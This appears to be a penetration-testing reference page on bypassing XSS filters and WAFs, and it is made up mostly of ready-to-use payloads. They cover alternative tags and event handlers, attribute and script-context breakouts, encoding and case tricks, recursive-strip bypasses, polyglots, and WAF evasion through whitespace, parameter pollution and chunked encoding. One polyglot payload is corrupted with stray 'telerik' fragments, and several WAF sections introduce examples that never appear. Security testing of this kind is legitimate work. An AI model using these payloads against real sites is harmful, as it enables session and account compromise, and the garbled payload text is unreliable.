XSS Filter Bypass
When standard XSS payloads are blocked by input filters, output encoding, or a WAF, the approach shifts to identifying exactly what is filtered and crafting payloads that slip through the gaps. This page extends the exploitation techniques from reflected XSS and stored XSS exploitation. If CSP is blocking execution, check the CSP analysis page for policy bypass techniques. The key is systematic testing: determine which tags, event handlers, and characters are allowed, then build a payload using only those components. When filters use regex-based validation, see regex restriction bypass for anchoring and encoding tricks that defeat pattern matching.
Tag and Event Handler Alternatives
Most basic filters block <script> but miss other tags with event handlers. Test these alternatives when the script tag is stripped or encoded:
<img src=x onerror=alert(document.domain)>
<svg/onload=alert(document.domain)>
<body onload=alert(document.domain)>
<details open ontoggle=alert(document.domain)>
<input onfocus=alert(document.domain) autofocus>
<marquee onstart=alert(document.domain)>
<video src=x onerror=alert(document.domain)>
<audio src=x onerror=alert(document.domain)>
<img onerror> is the most reliable fallback because img tags are rarely filtered (they appear in legitimate content) and onerror fires immediately with an invalid src. <svg onload> fires without user interaction and works in most modern browsers. <details ontoggle> with the open attribute fires automatically in Chrome and Firefox.
Systematically test which tags and events pass the filter. Inject a list of tags and check which ones survive in the response:
img: 1 svg: 1 body: 0 details: 1 input: 1 marquee: 1 video: 0 audio: 0 iframe: 0 object: 0 embed: 0
Tags returning 1 survived the filter. Repeat with event handlers on an allowed tag to find which events are accepted.
Attribute Injection
When input reflects inside an HTML attribute value, the goal is to break out of the attribute and inject an event handler. The quote character that closes the attribute determines the payload format.
Double-quoted attribute context:
" onfocus=alert(document.domain) autofocus="
" onmouseover=alert(document.domain) "
" autofocus onfocus=alert(document.domain) x="
Single-quoted attribute context:
' onfocus=alert(document.domain) autofocus='
' onmouseover=alert(document.domain) '
If both quotes are filtered but angle brackets are not, break out of the entire tag and inject a new one:
><img src=x onerror=alert(document.domain)>
The autofocus attribute is critical for attributes like onfocus because it triggers the event without any user interaction.
JavaScript Context Escapes
When input reflects inside a JavaScript string, the goal is to terminate the string and inject executable code.
Breaking out of single-quoted strings:
';alert(document.domain)//
';alert(document.domain);'
Breaking out of double-quoted strings:
";alert(document.domain)//
"-alert(document.domain)-"
Template literal injection (backtick strings in ES6):
${alert(document.domain)}
`-alert(document.domain)-`
If the application escapes quotes but does not escape the closing script tag, break out of the entire script block:
</script><script>alert(document.domain)</script>
</script><img src=x onerror=alert(document.domain)>
The HTML parser processes </script> before the JavaScript parser sees the string content, so this works even when the string quotes are escaped.
Encoding Tricks
Encoding bypasses exploit the difference between what the filter checks and what the browser ultimately renders. If the filter inspects the raw input but the browser decodes it before rendering, the payload slips through.
HTML Entity Encoding
Browsers decode HTML entities inside attribute values. If the filter does not decode entities before checking:
<img src=x onerror=alert(1)>
<a href="javascript:alert(document.domain)">click</a>
Unicode Escapes
JavaScript recognizes Unicode escape sequences inside identifiers. \u0061lert is equivalent to alert:
<script>\u0061lert(document.domain)</script>
<script>\u0065val('alert(1)')</script>
URL Encoding and Double Encoding
Single URL encoding is standard browser behavior. Double encoding works when the server decodes input twice, once at the HTTP layer and again in application logic:
%3Cscript%3Ealert(1)%3C/script%3E (single URL encoding)
%253Cscript%253Ealert(1)%253C/script%253E (double URL encoding)
Generate double-encoded payloads:
%253Cscript%253Ealert%25281%2529%253C%252Fscript%253E
Null Byte Injection
Some older filters truncate input at a null byte. Characters after the null are ignored by the filter but processed by the browser or backend:
%00<script>alert(document.domain)</script>
This is less effective on modern stacks but still worth testing against legacy applications and custom filters written in C-based languages.
Case Variation and Concatenation
Simple regex-based filters that match <script> literally can be bypassed with mixed case or tag construction tricks.
Mixed case (bypasses case-sensitive regex):
<ScRiPt>alert(document.domain)</sCrIpT>
<IMG SRC=x ONERROR=alert(document.domain)>
<sVg/OnLoAd=alert(document.domain)>
Recursive filter bypass (when the filter strips the tag once but does not re-scan):
<scr<script>ipt>alert(document.domain)</scr</script>ipt>
<im<img>g src=x onerror=alert(document.domain)>
The filter removes the inner <script> tag, leaving a valid <script> from the remaining characters. This only works against filters that make a single pass.
Tag name obfuscation using whitespace and null bytes (older browsers and some parsers):
<script/x>alert(document.domain)</script>
<script >alert(document.domain)</script>
<img/src=x/onerror=alert(document.domain)>
The forward slash and tab character are treated as whitespace by HTML parsers but may not be recognized by the filter's regex.
Polyglot Payloads
Polyglot payloads are designed to execute across multiple injection contexts without needing to know the exact context beforehand. They combine string terminators, tag closers, and event handlers into a single payload that works whether the input lands in an HTML body, attribute, or JavaScript string.
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert(document.domain) )//%%0telerik%%0a11telerik%%0d22telerik%%0nnn33/telerik/>
</Script/</Script/-->'><img src=x onerror=alert(document.domain)>
A shorter, practical polyglot that covers HTML body, single-quoted attribute, and double-quoted attribute contexts:
'"><img src=x onerror=alert(document.domain)>
A JavaScript and HTML context polyglot:
'-alert(document.domain)-'</script><svg/onload=alert(document.domain)>
Polyglots are useful as initial probes when you have limited requests and want to cover multiple contexts with a single injection attempt.
WAF-Specific Bypasses
Web Application Firewalls inspect request data for known attack patterns. Their detection is based on signatures, which means they can be bypassed by using patterns the signatures do not cover.
Non-Standard Whitespace
WAF regex rules often match standard spaces but miss alternative whitespace characters. HTML parsers accept these as valid separators between tag names and attributes:
<img%09src=x%09onerror=alert(document.domain)> (tab character %09)
<svg%0aonload=alert(document.domain)> (newline %0a)
<img%0dsrc=x%0donerror=alert(document.domain)> (carriage return %0d)
<img%0csrc=x%0conerror=alert(document.domain)> (form feed %0c)
HTTP Parameter Pollution
Some WAFs only inspect the first or last occurrence of a parameter. If the backend concatenates duplicate parameters, split the payload across them:
How duplicate parameters are handled depends on the backend: PHP uses the last value, ASP.NET/IIS concatenates with commas, Java/Tomcat uses the first. Test the behavior before crafting the split.
Content-Type Mismatch
WAFs may skip inspection on requests with unexpected Content-Type headers. If the backend still processes the body regardless of Content-Type:
Request Method Switching
Some WAFs have different rule sets for GET and POST. If the application accepts both methods for the same endpoint, try switching:
Chunked Transfer Encoding
WAFs that inspect the full request body may not reassemble chunked requests before inspection. Send the payload in chunks so no single chunk contains the complete signature:
This splits <script>alert(1)</script> across multiple chunks. The WAF inspects each chunk individually and does not see the complete payload, but the backend reassembles the chunks before processing.
References
-
PortSwigger: XSS ContextsTOOL: PortSwigger: XSS Contexts, portswigger.net/web-security/cross-site-scripting/contexts (opens in new tab)
XSS injection contexts and context-specific bypass techniques
-
PayloadsAllTheThings: XSSREPO: PayloadsAllTheThings: XSS, github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md (opens in new tab)
Comprehensive XSS payload collection organized by context and filter bypass
-
OWASP XSS Filter Evasion Cheat SheetLINK: OWASP XSS Filter Evasion Cheat Sheet, cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html (opens in new tab)
OWASP reference for filter evasion patterns and encoding tricks